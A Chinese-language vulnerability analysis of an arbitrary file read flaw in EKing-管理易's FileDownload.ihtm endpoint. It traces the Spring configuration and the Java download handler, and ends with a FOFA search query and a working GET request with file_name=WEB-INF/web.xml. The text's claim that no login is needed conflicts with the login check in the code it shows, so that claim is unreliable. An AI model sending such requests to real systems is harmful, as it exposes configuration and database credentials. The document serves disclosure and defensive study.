漏洞简介
EKing-管理易是一款专为广告制品制作企业量身定制的管理软件产品,由广州易凯软件技术有限公司开发,管理易基于久经考验的JAVA企业版技术研发,汇聚了数百家行业用户的管理精髓,旨在帮助广告装饰、有机工艺、展览展示、有机丝印、喷绘写真等广告标识制作企业实现规范化、科学化管理,提升运营效率,降低运营成本。EKing-管理易系统 FileDownload.ihtm 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
影响版本
fofa语法
app="EKing-管理易"
漏洞分析
先看 web.xml 当中定义并配置Spring的核心Servlet——DispatcherServlet 部分
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml,/WEB-INF/DAOs.xml,/WEB-INF/Spring-Hibernate.xml,/WEB-INF/Validators.xml,/WEB-INF/Interceptors.xml,/WEB-INF/Services.xml,/WEB-INF/Transactions.xml</param-value>
</context-param>
<servlet>
<servlet-name>Dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/Url-Mapping.xml,/WEB-INF/Controllers.xml</param-value>
</init-param>
<load-on-startup>2</load-on-startup>
</servlet>
<!-- lin end -->
<!-- lin start -->
<servlet-mapping>
<servlet-name>Dispatcher</servlet-name>
<url-pattern>*.ihtm</url-pattern>
</servlet-mapping>
<servlet-class>:指定Servlet的实现类为org.springframework.web.servlet.DispatcherServlet,这是Spring MVC的核心组件,负责将请求分发到相应的控制器。<init-param>:为DispatcherServlet配置初始化参数。contextConfigLocation:指定DispatcherServlet的配置文件路径。param-value:列出了DispatcherServlet的配置文件,通常包括URL映射和控制器定义。Url-Mapping.xml:定义URL与控制器方法的映射。Controllers.xml:定义控制器Bean。
<servlet-name>:指定要映射的Servlet名称为Dispatcher。<url-pattern>:定义URL匹配模式,*.ihtm表示所有以.ihtm结尾的URL请求都由DispatcherServlet处理。- 例如,
/Main.ihtm、/TopMenu.ihtm等请求都会被DispatcherServlet处理。
- 例如,
再看 Controllers.xml
<bean id="commonMACtr" class="com.minierp.controller.CommonMACtr">
<property name="methodNameResolver">
<bean
class="org.springframework.web.servlet.mvc.multiaction.PropertiesMethodNameResolver">
<property name="mappings">
<props>
<prop key="/FileDownload.ihtm">handleFileDownload</prop>
<bean id="commonMACtr" class="com.minierp.controller.CommonMACtr">:定义了一个Bean,其ID为commonMACtr,类为com.minierp.controller.CommonMACtr。这个Bean是一个控制器类,用于处理HTTP请求。<property name="methodNameResolver">:为commonMACtrBean设置了一个属性methodNameResolver,该属性用于解析请求URL并映射到相应的方法。<bean class="org.springframework.web.servlet.mvc.multiaction.PropertiesMethodNameResolver">:定义了一个PropertiesMethodNameResolver类型的Bean,用于根据URL路径解析方法名。<property name="mappings">:设置了mappings属性,该属性包含了URL路径与方法的映射关系。<props>:定义了一组属性(键值对),每个<prop>元素表示一个URL路径与方法的映射。<prop key="/WW_verify_*.txt">handleWwTxtUrl</prop>:表示当请求的URL匹配/WW_verify_*.txt时,调用handleWwTxtUrl方法。<prop key="/RandomImageCode.ihtm">handleRandomImageCode</prop>:表示当请求的URL匹配/RandomImageCode.ihtm时,调用handleRandomImageCode方法。- 其他
<prop>元素类似,分别定义了不同URL路径与方法的映射关系。
当访问 FileDownload.ihtm 时,进入 handleFileDownload 处理,业务逻辑如下
public ModelAndView handleFileDownload(HttpServletRequest request, HttpServletResponse response) throws Exception {
String fileName = request.getParameter("file_name");
String sourceName = request.getParameter("source_name");
String type = request.getParameter("type");
UserBean ub = EncCommonHelper.getCurrentUserAccount(request);
String path = this.getServletContext().getRealPath("/");
if (!path.endsWith(File.separator)) {
path = path + File.separator;
}
if (ub != null && type != null && type.equals("PRIVATE")) {
path = path + "priv_download" + File.separator + ub.getUser().getStafferId() + File.separator;
}
File file = new File(path + fileName);
FileInputStream is = null;
ServletOutputStream out = null;
if (ub != null && file.exists() && file.isFile()) {
try {
if (sourceName == null || sourceName.equals("")) {
sourceName = file.getName();
}
response.setCharacterEncoding("utf-8");
response.setContentType("APPLICATION/OCTET-STREAM");
String[] tmpArr = sourceName.split(" ");
String attaName = "";
for(int i = 0; i < tmpArr.length; ++i) {
attaName = attaName + " " + URLEncoder.encode(tmpArr[i], "utf-8");
}
response.setHeader("Content-Disposition", "attachment; filename=\"" + attaName + "\"");
is = new FileInputStream(file);
out = response.getOutputStream();
byte[] b = new byte[1024];
for(int len = is.read(b); len != -1; len = is.read(b)) {
out.write(b, 0, len);
}
out.flush();
} finally {
if (is != null) {
is.close();
}
if (out != null) {
out.close();
}
}
} else {
String errMsg = "No login or file not exist!";
try {
response.setCharacterEncoding("utf-8");
response.setContentType("text/plain");
out = response.getOutputStream();
out.write(errMsg.getBytes());
out.flush();
} finally {
if (out != null) {
out.close();
}
}
}
return null;
}
接收 file_name 参数的值后 直接拼接进路径后,调用 File file = new File(path + fileName); 创建文件流读取后直接写入响应body,无任何过滤或校验,造成任意文件读取漏洞。
漏洞复现
GET /FileDownload.ihtm?file_name=WEB-INF/web.xml HTTP/1.1
Host: eking.mrxn.net
成功读取到 web.xml 内容


